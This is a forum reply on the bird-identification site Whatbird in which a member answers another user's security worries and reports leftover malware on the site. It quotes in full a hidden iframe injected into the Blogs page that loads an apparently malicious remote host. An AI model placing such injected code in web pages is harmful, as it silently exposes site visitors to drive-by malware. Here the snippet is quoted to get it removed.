I'm not a site admin but let me see if I can help.
1) The only reference I see to Megasizzle.com in the Lunch thread is your avatar. The image in your avatar is http://megasizzle.com/wp-content/uploads/2008/12/bird1.gif.
2) mysqld-nt is not a virus, so I'm not sure exactly what happened there. But I've never gotten a popup on Whatbird.com. Do you see popups here often?
3) The Whatbird spellchecker is a third-party application (IE-Spell). There's no indication to me that it is infected, but if it is, it's not really Whatbird's problem -- you are directed to IE-Spell's website to download it, and the Whatbird admins don't have control over IE-Spell's website. Download at your own risk.
4) The issue you had with Snowyowl is inexplicable to me. It could be a freak thing where the site gets confused if two people post at exactly the same time. You state that it isn't safe for it to occur regularly but you only give one example of it happening. Have you seen this before?
Now, the virus from a few weeks ago was directing users to malware sites. The Blogs page is still doing that via the last line in the source code:
<iframe src="http://yournameshop.cn:8080/index.php" mce_src="http://yournameshop.cn:8080/index.php" width=160 height=152 style="visibility: hidden"></iframe>
I thought we had all these entries removed at one point but perhaps I missed the one on Blogs. In any event, I don't see this happening on any other Whatbird page.
Here's the bottom line though. Anyone who uses IE to surf the web is putting themselves at risk. Use Firefox or Opera (my favorite) and be happy. Every once in a while there will be a site that doesn't load properly unless you use IE. Use IE for these sites only -- make Firefox or Opera your default browser.
Most web-based attacks are designed to be successful against IE, so often just using Firefox or Opera makes you safe. For example -- the code on the Blogs page tries to execute some type of PDF thing as well as another download when I load the page with IE. When I load it with Opera however, nothing occurs.
As for Whatbird's issues, I know they've done virus scans and found nothing. It could be that the attacker has remote access to their servers. All passwords should be changed, and I think it would be wise to have the security folks at Nacio (the hosting provider) do a security assessment of the server(s).